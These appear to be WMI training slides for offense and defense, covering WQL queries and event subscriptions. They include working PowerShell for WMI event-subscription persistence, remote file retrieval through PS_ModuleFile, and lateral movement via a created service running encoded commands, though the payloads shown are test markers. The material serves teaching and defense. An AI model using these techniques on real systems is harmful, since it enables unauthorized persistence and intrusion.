Windows Management Instrumentation (WMI)

WMI - Introduction

- Designed to permit local/remote system administration using an open standard - DMTF CIM/WBEM
  - WMI is the MSFT implementation of these standards
- Available since Win 98/NT4
- Enabled on all systems
- Uses DCOM and now optionally, WSMan
  - WSMan - i.e. rides over the same port as PowerShell Remoting/WinRM
- Used to:
  - Get/set information
  - Execute methods
  - Subscribe to events
- PowerShell is by far the best tool for interacting with WMI!

WMI - Introduction

- Implemented as a database and backed by providers which supply the database with its class library implementations.
- Thousands of built-in classes comprised on information varying in value to an attacker/defender.
- Many classes are documented. Many are not. WMI is "discoverable" though.
- Classes are organized logically by namespace.
  - Default namespace for scripting is root\cimv2
- Access is controlled via namespace, DCOM, and WSMan ACLs.
  - Also all controllable w/ WMI

WMI - Benefits

Offense:

- Excellent for recon
- Remote code execution
- Persistence
- WMI-based detections are still catching up
- Covert storage and C2

Defense:

- Useful for truly “agentless” threat hunting
- Detections can be written as WMI events

WMI - WMI Query Language (WQL)

- SQL-like syntax for querying the WMI repository
- WQL query classes:
  - Instance queries
  - Association queries (similar to a JOIN operation)
  - “Meta queries” for class discovery
  - Event queries

WMI - Instance Queries

Format:

```
SELECT [Class property name[s]|*] FROM [CLASS
NAME] <WHERE [CONSTRAINT]>
```

Examples:

- `SELECT * FROM Win32_Service WHERE Name = "PSEXESVC"`
- `SELECT Name FROM CIM_DataFile WHERE Drive = "C:" AND Path="\\Windows\\Temp\\" AND (Extension ="exe" OR Extension ="dll") AND LastModified>"20171030215706.479387+000"`
- `SELECT * FROM __EventConsumer`

WMI - Instance Query Examples

```
Get-WmiObject -Class Win32_Service
Get-WmiObject -Class Win32_Service -Filter 'Name = "WinDefend"'
Get-WmiObject -Class Win32_Service -Filter 'Name = "WinDefend"' -Property State,
PathName
Get-WmiObject -Namespace 'root/cimv2' -Query 'SELECT State, PathName FROM
Win32_Service WHERE Name = "WinDefend"'

Get-CimInstance -ClassName Win32_Service
Get-CimInstance -ClassName Win32_Service -Filter 'Name = "WinDefend"'
Get-CimInstance -ClassName Win32_Service -Filter 'Name = "WinDefend"' -Property State,
PathName
Get-CimInstance -Namespace 'root/cimv2' -Query 'SELECT State, PathName FROM
Win32_Service WHERE Name = "WinDefend"'
```

WMI - “Meta” Queries

Most WMI classes are not well documented but we can use WMI to query WMI:

- Get-WmiObject -Namespace root/cimv2 -Class Meta_Class
- Get-WmiObject -Namespace root/default -List
- Get-WmiObject -Namespace root -Class __NAMESPACE
- Get-CimClass -Namespace root/subscription
- Get-CimInstance -Namespace root -ClassName __NAMESPACE

This would be a good time to take a break and attempt Lab: WMI - Host Tracker

WMI - Research Use Case

The curious case of
ROOT/Microsoft/Windows/Powershellv3:PS_ModuleFIle

Windows PowerShell

```
PS C:\> Get-CimInstance -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile

Get-CimInstance : The requested operation is not supported.
At line:1 char:1
+ Get-CimInstance -Namespace ROOT/Microsoft/Windows/Powershellv3 -Class ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotImplemented: (ROOT/Microsoft/...3:PS_ModuleFile:String) [Get
   -CimInstance], CimException
    + FullyQualifiedErrorId : MI RESULT 7,Microsoft.Management.Infrastructure.CimCmdlets.GetC
   imInstanceCommand

PS C:\>
```

WMI - Research Use Case

Windows PowerShell

```
PS C:\> Get-CimInstance -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_Module


Caption                :
Description            :
ElementName            :
InstanceID             : C:\Users\        \Documents\WindowsPowershell\Modules\BabysFirstJEAModule
moduleManifestFileData : {0, 0, 8, 174...}
ModuleName             : BabysFirstJEAModule
moduleType             : 0
PSComputerName         :

Caption                :
Description            :
ElementName            :
InstanceID             : C:\Users\        \Documents\WindowsPowershell\Modules\PowerForensics
moduleManifestFileData : {}
```

WMI - Research Use Case

Viewing the MOF schema to determine the provider implementation - DiscoveryProvider

Windows PowerShell

```
PS C:\> ([WmiClass] 'ROOT/Microsoft/Windows/Powershellv3:PS_ModuleFile').GetText('Mof')
[UMLPackagePath("CIM::Core::CoreElements"): ToSubClass, ClassVersion("1.0.0"), locale(1033),
 dynamic: ToInstance, provider("DiscoveryProvider"): ToInstance]
class PS_ModuleFile : CIM_ManagedElement
{
        [key, Override("instanceID")] string InstanceID = NULL;
        string FileName;
        [Octetstring: DisableOverride ToSubClass] uint8 FileData[];
};

PS C:\>
```

WMI - Research Use Case

Windows PowerShell

```
PS C:\> Get-CimInstance -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName __Provider -Filte
r 'Name = "DiscoveryProvider"' | Select-Object -ExpandProperty CLSID
{442FF639-3DA0-4A70-A1D8-579E26C46A60}
PS C:\> Get-ItemPropertyValue -Path 'Registry::HKEY_CLASSES_ROOT\CLSID\{442FF639-3DA0-4A70-A1D8-579
E26C46A60}\InprocServer32' -Name '(default)'
C:\WINDOWS\system32\PSModuleDiscoveryProvider.dll
PS C:\>
```

WMI - Research Use Case

```
; Attributes: bp-based frame

; void __stdcall PS_ModuleFile_EnumerateInstances(PVOID self, PVOID context, LPCWSTR nameSpace, LPCWSTR className, PVOID propertySet, BOOL keysOnly, PVOID filter)
_PS_ModuleFile_EnumerateInstances@28 proc near

self= dword ptr  8
context= dword ptr  0Ch
nameSpace= dword ptr  10h
className= dword ptr  14h
propertySet= dword ptr  18h
keysOnly= dword ptr  1Ch
filter= dword ptr  20h

mov     edi, edi
push    ebp
mov     ebp, esp
mov     ecx, [ebp+context] ; context
push    MI_RESULT_NOT_SUPPORTED
pop     edx             ; result
call    MI_Context_PostResult
pop     ebp
retn    1Ch
_PS_ModuleFile_EnumerateInstances@28 endp
```

WMI - Research Use Case

```
; Attributes: bp-based frame

; void __stdcall PS_ModuleFile_GetInstance(PVOID self, PVOID context, LPCWSTR nameSpace, LPCWSTR className, PVOID instanceName, PVOID propertySet)
_PS_ModuleFile_GetInstance@24 proc near

var_34= dword ptr -34h
var_30= dword ptr -30h
var_2C= byte ptr -2Ch
var_28= dword ptr -28h
var_20= byte ptr -20h
var_1C= dword ptr -1Ch
var_18= dword ptr -18h
var_14= dword ptr -14h
var_4= dword ptr -4
self= dword ptr  8
context= dword ptr  0Ch
nameSpace= dword ptr  10h
className= dword ptr  14h
instanceName= dword ptr  18h
propertySet= dword ptr  1Ch

push    28h
mov     eax, offset sub_10007506
call    __EH_prolog3_GS
mov     ecx, [ebp+instanceName]
cmp     byte ptr [ecx+24h], 0
jz      loc_10003B6E
```

WMI - Research Use Case

Windows PowerShell

```
Example 3: Create a dynamic instance on the client

PS C:\>$a = New-CimInstance -ClassName Win32_Process -Property @{Handle=0} -Key Handle
-ClientOnly
PS C:\> Get-CimInstance -CimInstance $a
PS C:\> Invoke-CimMethod -CimInstance $a -MethodName GetOwner

This set of commands creates a dynamic instance of a CIM class named win32_Process on the
client computer without getting the instance from the server. This set of commands retrieves
the dynamic instance and stores it in a variable named $a and passes the contents of the
variable to the Get-CimInstance cmdlet. The Get-CimInstance cmdlet then retrieves a
particular single instance, and invokes the GetOwner method using the Invoke-CimMethod cmdlet.

This dynamic instance can be used to perform operations if the instance with this key exists
on the server.
```

WMI - Research Use Case

Remote file content retrieval FTW!!!

```
$FilePath = 'C:\Windows\System32\notepad.exe'
# PS_ModuleFile only implements GetInstance (versus EnumerateInstance) so this
trick below will force a "Get" operation versus the default "Enumerate" operation.
$PSModuleFileClass = Get-CimClass -Namespace
ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile
$InMemoryModuleFileInstance = New-CimInstance -CimClass
$PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance
```

WMI - Association Queries

- Like a SQL JOIN operation
- Returns instances of WMI objects that are related to another WMI class instance
- Relationships are described with association classes
  - Classes have an “Association” qualifier
    - `Get-CimClass | ? { $_.CimClassQualifiers['Association'] -and !$_.CimClassQualifiers['Abstract'] }`
- Useful map of root/cimv2 class relationships in WMI_Association_Graph.png. Thank you @dfinke.

WMI - Association Queries

Format:

```
ASSOCIATORS OF {[Object].[Key]=[KeyValue]}
<WHERE [AssocClass|ResultClass = ClassName]>
```

Best to avoid this syntax by using Get-CimAssociatedInstance (PSv3+).

WMI - Association Query Examples

List all running processes that have wldp.dll loaded

```
Get-WmiObject -Query 'ASSOCIATORS OF {CIM_DataFile.Name="c:\\windows\\system32\\wldp.dll"} WHERE AssocClass=CIM_ProcessExecutable'
```

List all running processes that have wldp.dll loaded

```
Get-CimInstance -ClassName CIM_DataFile -Filter 'Drive = "C:" AND Path="\\Windows\\System32\\" AND (Name="C:\\Windows\\System32\\wldp.dll")' -Property Name | Get-CimAssociatedInstance -Association CIM_ProcessExecutable
```

List members of the local administrator group

```
Get-CimInstance -ClassName Win32_Group -Filter 'SID = "S-1-5-32-544"' | Get-CimAssociatedInstance -ResultClassName Win32_Account
```

This would be a good time to take a break and attempt Lab: WMI - Query

WMI - Event Queries

Event types:

1. Intrinsic
   - Can be used to detect the creation, modification, or deletion of any WMI object instance.
   - Requires a polling interval to be specified - can affect performance
2. Extrinsic
   - These events fire immediately. No polling period required. These events won't be missed.
   - Not as many of these events exist.

- See EventDiscovery.ps1 to enumerate WMI events.

WMI - Event Queries

Format:

- SELECT [Class property name[s]|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>
- SELECT [Class property name[s]|*] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>

Examples:

- SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA "Win32_Service" AND TargetInstance.Name = "PSEXESVC"
- SELECT * FROM RegistryKeyChangeEvent WHERE Hive="HKEY_LOCAL_MACHINE" AND KeyPath="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

WMI - Event Query Examples

- Register-WmiEvent -Query 'SELECT ProcessName FROM Win32_ProcessStartTrace' -Action { Write-Host "New process: $($EventArgs.NewEvent.ProcessName)" }

- Register-CimIndicationEvent -Namespace root/subscription -Query 'SELECT * FROM __InstanceCreationEvent WHERE TargetInstance ISA "__FilterToConsumerBinding"' -Action {Write-Host 'New WMI persistence!'}

WMI - Permanent Eventing

Until now, event queries ran in the context of the PowerShell process. Event queries can persist beyond reboots and execute something in response.

Three requirements:

1. __EventConsumer - the action to execute
2. __EventFilter - the event to trigger off of
3. __FilterToConsumerBinding - Binds the filter and consumer together.

These classes live in the root/subscription and root/default namespaces.

WMI - Permanent Eventing

- WMI persistence is not only a great persistence technique, but it's also technically a remote code execution technique. It also doesn't involve invoking a method.
- Requires using Set-WmiInstance or Set-CimInstance.
- References:
  - https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
  - https://gist.github.com/mattifestation/2828e33c4fe9655fd907
  - https://gist.github.com/mattifestation/bf9af6fbafd0c421455cd62693edcb7a

WMI - Permanent Eventing

```
$EventFilterArgs = @{
        EventNamespace = 'root/cimv2'
        Name = 'DriveChanged'
        Query = 'SELECT * FROM Win32_VolumeChangeEvent'
        QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
$CommandLineConsumerArgs = @{
        Name = 'Infector'
        CommandLineTemplate = "powershell.exe -NoP -C
`"[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSL
VNUQU5EQVJELUFOVEIWSVJVUy1URVNULUZJTEUhJEgrSCo=')) | Out-File %DriveName%\eicar.txt`""
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments
$CommandLineConsumerArgs
$FilterToConsumerArgs = @{ Filter = $Filter; Consumer = $Consumer }
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments
$FilterToConsumerArgs
```

This would be a good time to

take a break and attempt

Lab: WMI - Offensive

then

Lab: WMI - Defensive

WMI - Method Invocation Example - Service Lateral Movement

```
Invoke-CimMethod -Namespace root/default -ClassName StdregProv -MethodName SetStringValue -Arguments @{
        hDefKey = [UInt32] 2147483650 # HKLM
        sSubKeyName = 'SYSTEM\CurrentControlSet\Control'
        sValueName = 'WaitToKillServiceTimeout'
        sValue = '120000'
}

Invoke-CimMethod -ClassName Win32_Service -MethodName Create -Arguments @{
        StartMode = 'Manual'
        StartName = 'LocalSystem'
        ServiceType = ([Byte] 16)
        ErrorControl = ([Byte] 1)
        Name = 'Owned'
        DisplayName = 'Owned'
        DesktopInteract  = $False
        PathName = "cmd /c $Env:windir\System32\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand
RwBlAHQALQBEAGEAdABlACAAfAAgAE8AdQB0AC0ARgBpAGwAZQAgAEMAOgBcAFQAZQBzAHQAXABvAHcAbgBlAGQALgB0AHgAdAAgAC0AQQBwAHAAZQ
BuAGQA -NonInteractive -NoProfile"
}

$EvilService = Get-CimInstance -ClassName Win32_Service -Filter 'Name = "Owned"'
Invoke-CimMethod -MethodName StartService -InputObject $EvilService
#Invoke-CimMethod -MethodName Delete -InputObject $EvilService
```

This would be a good time to attempt Lab: WMI